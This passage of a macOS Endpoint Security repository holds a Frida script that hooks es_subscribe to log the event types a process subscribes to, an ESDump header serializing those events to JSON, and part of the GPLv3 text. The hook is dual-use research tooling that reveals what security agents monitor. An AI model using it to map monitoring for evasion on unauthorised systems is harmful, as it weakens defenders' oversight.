139 | ES_EVENT_TYPE_NOTIFY_OD_MODIFY_PASSWORD: 135,
140 | ES_EVENT_TYPE_NOTIFY_OD_DISABLE_USER: 136,
141 | ES_EVENT_TYPE_NOTIFY_OD_ENABLE_USER: 137,
142 | ES_EVENT_TYPE_NOTIFY_OD_ATTRIBUTE_VALUE_ADD: 138,
143 | ES_EVENT_TYPE_NOTIFY_OD_ATTRIBUTE_VALUE_REMOVE: 139,
144 | ES_EVENT_TYPE_NOTIFY_OD_ATTRIBUTE_SET: 140,
145 | ES_EVENT_TYPE_NOTIFY_OD_CREATE_USER: 141,
146 | ES_EVENT_TYPE_NOTIFY_OD_CREATE_GROUP: 142,
147 | ES_EVENT_TYPE_NOTIFY_OD_DELETE_USER: 143,
148 | ES_EVENT_TYPE_NOTIFY_OD_DELETE_GROUP: 144,
149 | ES_EVENT_TYPE_NOTIFY_XPC_CONNECT: 145,
150 | ES_EVENT_TYPE_LAST: 146
151 | }
152 |
153 | const module = Process.getModuleByName("libEndpointSecurity.dylib");
154 | const func = module.getExportByName("es_subscribe");
155 |
156 | Interceptor.attach(func, {
157 | onEnter: function (args) {
158 | const event_count = parseInt(Number(args[2]), 10);
159 | const events = args[1];
160 |
161 | console.log(`[+] Subscribed to ${event_count} event types:`);
162 | for (let i = 0; i < event_count; i++) {
163 | const event_id = events.add(i * 4).readU32();
164 | const event_name = Object.keys(ES_EVENT_TYPE).find(key => ES_EVENT_TYPE[key] === event_id);
165 |
166 | console.log(` ${event_name}`);
167 | }
168 | }
169 | });
170 |
--------------------------------------------------------------------------------
/ESDump/esdump.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | #include "es_json.hpp"
6 |
7 | using Serializer = json (*)(const es_events_t&);
8 |
9 | using EventMetadata = struct {
10 | const char* type_name;
11 | Serializer serialize_fn;
12 | };
13 |
14 | #define DEFINE_SERIALIZER(name) \
15 | inline static json serialize_##name(const es_events_t& e) { return json{ e.name }; }
16 |
17 | #define DEFINE_PTR_SERIALIZER(name) \
18 | inline static json serialize_##name(const es_events_t& e) { return json{ *e.name }; }
19 |
20 | DEFINE_SERIALIZER(exec)
21 | DEFINE_SERIALIZER(open)
22 | DEFINE_SERIALIZER(kextload)
23 | DEFINE_SERIALIZER(mmap)
24 | DEFINE_SERIALIZER(mprotect)
25 | DEFINE_SERIALIZER(mount)
26 | DEFINE_SERIALIZER(rename)
27 | DEFINE_SERIALIZER(signal)
28 | DEFINE_SERIALIZER(unlink)
29 | DEFINE_SERIALIZER(fork)
30 | DEFINE_SERIALIZER(close)
31 | DEFINE_SERIALIZER(create)
32 | DEFINE_SERIALIZER(exchangedata)
33 | DEFINE_SERIALIZER(exit)
34 | DEFINE_SERIALIZER(get_task)
35 | DEFINE_SERIALIZER(kextunload)
36 | DEFINE_SERIALIZER(link)
37 | DEFINE_SERIALIZER(unmount)
38 | DEFINE_SERIALIZER(iokit_open)
39 | DEFINE_SERIALIZER(setattrlist)
40 | DEFINE_SERIALIZER(setextattr)
41 | DEFINE_SERIALIZER(setflags)
42 | DEFINE_SERIALIZER(setmode)
43 | DEFINE_SERIALIZER(setowner)
44 | DEFINE_SERIALIZER(write)
45 | DEFINE_SERIALIZER(file_provider_materialize)
46 | DEFINE_SERIALIZER(file_provider_update)
47 | DEFINE_SERIALIZER(readlink)
48 | DEFINE_SERIALIZER(truncate)
49 | DEFINE_SERIALIZER(lookup)
50 | DEFINE_SERIALIZER(chdir)
51 | DEFINE_SERIALIZER(getattrlist)
52 | DEFINE_SERIALIZER(stat)
53 | DEFINE_SERIALIZER(access)
54 | DEFINE_SERIALIZER(chroot)
55 | DEFINE_SERIALIZER(utimes)
56 | DEFINE_SERIALIZER(clone)
57 | DEFINE_SERIALIZER(fcntl)
58 | DEFINE_SERIALIZER(getextattr)
59 | DEFINE_SERIALIZER(listextattr)
60 | DEFINE_SERIALIZER(readdir)
61 | DEFINE_SERIALIZER(deleteextattr)
62 | DEFINE_SERIALIZER(fsgetpath)
63 | DEFINE_SERIALIZER(dup)
64 | DEFINE_SERIALIZER(settime)
65 | DEFINE_SERIALIZER(uipc_bind)
66 | DEFINE_SERIALIZER(uipc_connect)
67 | DEFINE_SERIALIZER(setacl)
68 | DEFINE_SERIALIZER(pty_grant)
69 | DEFINE_SERIALIZER(pty_close)
70 | DEFINE_SERIALIZER(proc_check)
71 | DEFINE_SERIALIZER(searchfs)
72 | DEFINE_SERIALIZER(proc_suspend_resume)
73 | DEFINE_SERIALIZER(cs_invalidated)
74 | DEFINE_SERIALIZER(get_task_name)
75 | DEFINE_SERIALIZER(trace)
76 | DEFINE_SERIALIZER(remote_thread_create)
77 | DEFINE_SERIALIZER(remount)
78 | DEFINE_SERIALIZER(get_task_read)
79 | DEFINE_SERIALIZER(get_task_inspect)
80 | DEFINE_SERIALIZER(setuid)
81 | DEFINE_SERIALIZER(setgid)
82 | DEFINE_SERIALIZER(seteuid)
83 | DEFINE_SERIALIZER(setegid)
84 | DEFINE_SERIALIZER(setreuid)
85 | DEFINE_SERIALIZER(setregid)
86 | DEFINE_SERIALIZER(copyfile)
87 |
88 | DEFINE_PTR_SERIALIZER(authentication)
89 | DEFINE_PTR_SERIALIZER(xp_malware_detected)
90 | DEFINE_PTR_SERIALIZER(xp_malware_remediated)
91 | DEFINE_PTR_SERIALIZER(lw_session_login)
92 | DEFINE_PTR_SERIALIZER(lw_session_logout)
93 | DEFINE_PTR_SERIALIZER(lw_session_lock)
94 | DEFINE_PTR_SERIALIZER(lw_session_unlock)
95 | DEFINE_PTR_SERIALIZER(screensharing_attach)
96 | DEFINE_PTR_SERIALIZER(screensharing_detach)
97 | DEFINE_PTR_SERIALIZER(openssh_login)
98 | DEFINE_PTR_SERIALIZER(openssh_logout)
99 | DEFINE_PTR_SERIALIZER(login_login)
100 | DEFINE_PTR_SERIALIZER(login_logout)
101 | DEFINE_PTR_SERIALIZER(btm_launch_item_add)
102 | DEFINE_PTR_SERIALIZER(btm_launch_item_remove)
103 | DEFINE_PTR_SERIALIZER(profile_add)
104 | DEFINE_PTR_SERIALIZER(profile_remove)
105 | DEFINE_PTR_SERIALIZER(su)
106 | DEFINE_PTR_SERIALIZER(authorization_petition)
107 | DEFINE_PTR_SERIALIZER(authorization_judgement)
108 | DEFINE_PTR_SERIALIZER(sudo)
109 | DEFINE_PTR_SERIALIZER(od_group_add)
110 | DEFINE_PTR_SERIALIZER(od_group_remove)
111 | DEFINE_PTR_SERIALIZER(od_group_set)
112 | DEFINE_PTR_SERIALIZER(od_modify_password)
113 | DEFINE_PTR_SERIALIZER(od_disable_user)
114 | DEFINE_PTR_SERIALIZER(od_enable_user)
115 | DEFINE_PTR_SERIALIZER(od_attribute_value_add)
116 | DEFINE_PTR_SERIALIZER(od_attribute_value_remove)
117 | DEFINE_PTR_SERIALIZER(od_attribute_set)
118 | DEFINE_PTR_SERIALIZER(od_create_user)
119 | DEFINE_PTR_SERIALIZER(od_create_group)
120 | DEFINE_PTR_SERIALIZER(od_delete_user)
121 | DEFINE_PTR_SERIALIZER(od_delete_group)
122 | DEFINE_PTR_SERIALIZER(xpc_connect)
123 |
124 | constexpr std::array event_data = {
125 | EventMetadata{"ES_EVENT_TYPE_AUTH_EXEC", serialize_exec},
126 | EventMetadata{"ES_EVENT_TYPE_AUTH_OPEN", serialize_open},
127 | EventMetadata{"ES_EVENT_TYPE_AUTH_KEXTLOAD", serialize_kextload},
128 | EventMetadata{"ES_EVENT_TYPE_AUTH_MMAP", serialize_mmap},
129 | EventMetadata{"ES_EVENT_TYPE_AUTH_MPROTECT", serialize_mprotect},
130 | EventMetadata{"ES_EVENT_TYPE_AUTH_MOUNT", serialize_mount},
131 | EventMetadata{"ES_EVENT_TYPE_AUTH_RENAME", serialize_rename},
132 | EventMetadata{"ES_EVENT_TYPE_AUTH_SIGNAL", serialize_signal},
133 | EventMetadata{"ES_EVENT_TYPE_AUTH_UNLINK", serialize_unlink},
134 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_EXEC", serialize_exec},
135 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OPEN", serialize_open},
136 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_FORK", serialize_fork},
137 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_CLOSE", serialize_close},
138 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_CREATE", serialize_create},
139 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_EXCHANGEDATA", serialize_exchangedata},
140 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_EXIT", serialize_exit},
141 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_GET_TASK", serialize_get_task},
142 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_KEXTLOAD", serialize_kextload},
143 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_KEXTUNLOAD", serialize_kextunload},
144 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LINK", serialize_link},
145 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_MMAP", serialize_mmap},
146 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_MPROTECT", serialize_mprotect},
147 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_MOUNT", serialize_mount},
148 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_UNMOUNT", serialize_unmount},
149 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_IOKIT_OPEN", serialize_iokit_open},
150 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_RENAME", serialize_rename},
151 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETATTRLIST", serialize_setattrlist},
152 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETEXTATTR", serialize_setextattr},
153 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETFLAGS", serialize_setflags},
154 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETMODE", serialize_setmode},
155 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETOWNER", serialize_setowner},
156 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SIGNAL", serialize_signal},
157 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_UNLINK", serialize_unlink},
158 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_WRITE", serialize_write},
159 | EventMetadata{"ES_EVENT_TYPE_AUTH_FILE_PROVIDER_MATERIALIZE", serialize_file_provider_materialize},
160 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_FILE_PROVIDER_MATERIALIZE", serialize_file_provider_materialize},
161 | EventMetadata{"ES_EVENT_TYPE_AUTH_FILE_PROVIDER_UPDATE", serialize_file_provider_update},
162 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_FILE_PROVIDER_UPDATE", serialize_file_provider_update},
163 | EventMetadata{"ES_EVENT_TYPE_AUTH_READLINK", serialize_readlink},
164 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_READLINK", serialize_readlink},
165 | EventMetadata{"ES_EVENT_TYPE_AUTH_TRUNCATE", serialize_truncate},
166 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_TRUNCATE", serialize_truncate},
167 | EventMetadata{"ES_EVENT_TYPE_AUTH_LINK", serialize_link},
168 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LOOKUP", serialize_lookup},
169 | EventMetadata{"ES_EVENT_TYPE_AUTH_CREATE", serialize_create},
170 | EventMetadata{"ES_EVENT_TYPE_AUTH_SETATTRLIST", serialize_setattrlist},
171 | EventMetadata{"ES_EVENT_TYPE_AUTH_SETEXTATTR", serialize_setextattr},
172 | EventMetadata{"ES_EVENT_TYPE_AUTH_SETFLAGS", serialize_setflags},
173 | EventMetadata{"ES_EVENT_TYPE_AUTH_SETMODE", serialize_setmode},
174 | EventMetadata{"ES_EVENT_TYPE_AUTH_SETOWNER", serialize_setowner},
175 | EventMetadata{"ES_EVENT_TYPE_AUTH_CHDIR", serialize_chdir},
176 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_CHDIR", serialize_chdir},
177 | EventMetadata{"ES_EVENT_TYPE_AUTH_GETATTRLIST", serialize_getattrlist},
178 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_GETATTRLIST", serialize_getattrlist},
179 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_STAT", serialize_stat},
180 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_ACCESS", serialize_access},
181 | EventMetadata{"ES_EVENT_TYPE_AUTH_CHROOT", serialize_chroot},
182 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_CHROOT", serialize_chroot},
183 | EventMetadata{"ES_EVENT_TYPE_AUTH_UTIMES", serialize_utimes},
184 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_UTIMES", serialize_utimes},
185 | EventMetadata{"ES_EVENT_TYPE_AUTH_CLONE", serialize_clone},
186 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_CLONE", serialize_clone},
187 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_FCNTL", serialize_fcntl},
188 | EventMetadata{"ES_EVENT_TYPE_AUTH_GETEXTATTR", serialize_getextattr},
189 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_GETEXTATTR", serialize_getextattr},
190 | EventMetadata{"ES_EVENT_TYPE_AUTH_LISTEXTATTR", serialize_listextattr},
191 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LISTEXTATTR", serialize_listextattr},
192 | EventMetadata{"ES_EVENT_TYPE_AUTH_READDIR", serialize_readdir},
193 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_READDIR", serialize_readdir},
194 | EventMetadata{"ES_EVENT_TYPE_AUTH_DELETEEXTATTR", serialize_deleteextattr},
195 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR", serialize_deleteextattr},
196 | EventMetadata{"ES_EVENT_TYPE_AUTH_FSGETPATH", serialize_fsgetpath},
197 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_FSGETPATH", serialize_fsgetpath},
198 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_DUP", serialize_dup},
199 | EventMetadata{"ES_EVENT_TYPE_AUTH_SETTIME", serialize_settime},
200 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETTIME", serialize_settime},
201 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_UIPC_BIND", serialize_uipc_bind},
202 | EventMetadata{"ES_EVENT_TYPE_AUTH_UIPC_BIND", serialize_uipc_bind},
203 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_UIPC_CONNECT", serialize_uipc_connect},
204 | EventMetadata{"ES_EVENT_TYPE_AUTH_UIPC_CONNECT", serialize_uipc_connect},
205 | EventMetadata{"ES_EVENT_TYPE_AUTH_EXCHANGEDATA", serialize_exchangedata},
206 | EventMetadata{"ES_EVENT_TYPE_AUTH_SETACL", serialize_setacl},
207 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETACL", serialize_setacl},
208 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_PTY_GRANT", serialize_pty_grant},
209 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_PTY_CLOSE", serialize_pty_close},
210 | EventMetadata{"ES_EVENT_TYPE_AUTH_PROC_CHECK", serialize_proc_check},
211 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_PROC_CHECK", serialize_proc_check},
212 | EventMetadata{"ES_EVENT_TYPE_AUTH_GET_TASK", serialize_get_task},
213 | EventMetadata{"ES_EVENT_TYPE_AUTH_SEARCHFS", serialize_searchfs},
214 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SEARCHFS", serialize_searchfs},
215 | EventMetadata{"ES_EVENT_TYPE_AUTH_FCNTL", serialize_fcntl},
216 | EventMetadata{"ES_EVENT_TYPE_AUTH_IOKIT_OPEN", serialize_iokit_open},
217 | EventMetadata{"ES_EVENT_TYPE_AUTH_PROC_SUSPEND_RESUME", serialize_proc_suspend_resume},
218 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_PROC_SUSPEND_RESUME", serialize_proc_suspend_resume},
219 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_CS_INVALIDATED", serialize_cs_invalidated},
220 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_GET_TASK_NAME", serialize_get_task_name},
221 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_TRACE", serialize_trace},
222 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE", serialize_remote_thread_create},
223 | EventMetadata{"ES_EVENT_TYPE_AUTH_REMOUNT", serialize_remount},
224 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_REMOUNT", serialize_remount},
225 | EventMetadata{"ES_EVENT_TYPE_AUTH_GET_TASK_READ", serialize_get_task_read},
226 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_GET_TASK_READ", serialize_get_task_read},
227 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_GET_TASK_INSPECT", serialize_get_task_inspect},
228 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETUID", serialize_setuid},
229 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETGID", serialize_setgid},
230 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETEUID", serialize_seteuid},
231 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETEGID", serialize_setegid},
232 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETREUID", serialize_setreuid},
233 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SETREGID", serialize_setregid},
234 | EventMetadata{"ES_EVENT_TYPE_AUTH_COPYFILE", serialize_copyfile},
235 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_COPYFILE", serialize_copyfile},
236 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_AUTHENTICATION", serialize_authentication},
237 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED", serialize_xp_malware_detected},
238 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_XP_MALWARE_REMEDIATED", serialize_xp_malware_remediated},
239 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LW_SESSION_LOGIN", serialize_lw_session_login},
240 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LW_SESSION_LOGOUT", serialize_lw_session_logout},
241 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LW_SESSION_LOCK", serialize_lw_session_lock},
242 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LW_SESSION_UNLOCK", serialize_lw_session_unlock},
243 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SCREENSHARING_ATTACH", serialize_screensharing_attach},
244 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SCREENSHARING_DETACH", serialize_screensharing_detach},
245 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OPENSSH_LOGIN", serialize_openssh_login},
246 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OPENSSH_LOGOUT", serialize_openssh_logout},
247 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LOGIN_LOGIN", serialize_login_login},
248 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_LOGIN_LOGOUT", serialize_login_logout},
249 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD", serialize_btm_launch_item_add},
250 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE", serialize_btm_launch_item_remove},
251 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_PROFILE_ADD", serialize_profile_add},
252 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_PROFILE_REMOVE", serialize_profile_remove},
253 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SU", serialize_su},
254 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_AUTHORIZATION_PETITION", serialize_authorization_petition},
255 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_AUTHORIZATION_JUDGEMENT", serialize_authorization_judgement},
256 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_SUDO", serialize_sudo},
257 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_GROUP_ADD", serialize_od_group_add},
258 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_GROUP_REMOVE", serialize_od_group_remove},
259 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_GROUP_SET", serialize_od_group_set},
260 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_MODIFY_PASSWORD", serialize_od_modify_password},
261 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_DISABLE_USER", serialize_od_disable_user},
262 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_ENABLE_USER", serialize_od_enable_user},
263 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_ATTRIBUTE_VALUE_ADD", serialize_od_attribute_value_add},
264 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_ATTRIBUTE_VALUE_REMOVE", serialize_od_attribute_value_remove},
265 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_ATTRIBUTE_SET", serialize_od_attribute_set},
266 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_CREATE_USER", serialize_od_create_user},
267 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_CREATE_GROUP", serialize_od_create_group},
268 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_DELETE_USER", serialize_od_delete_user},
269 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_OD_DELETE_GROUP", serialize_od_delete_group},
270 | EventMetadata{"ES_EVENT_TYPE_NOTIFY_XPC_CONNECT", serialize_xpc_connect}
271 | };
272 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
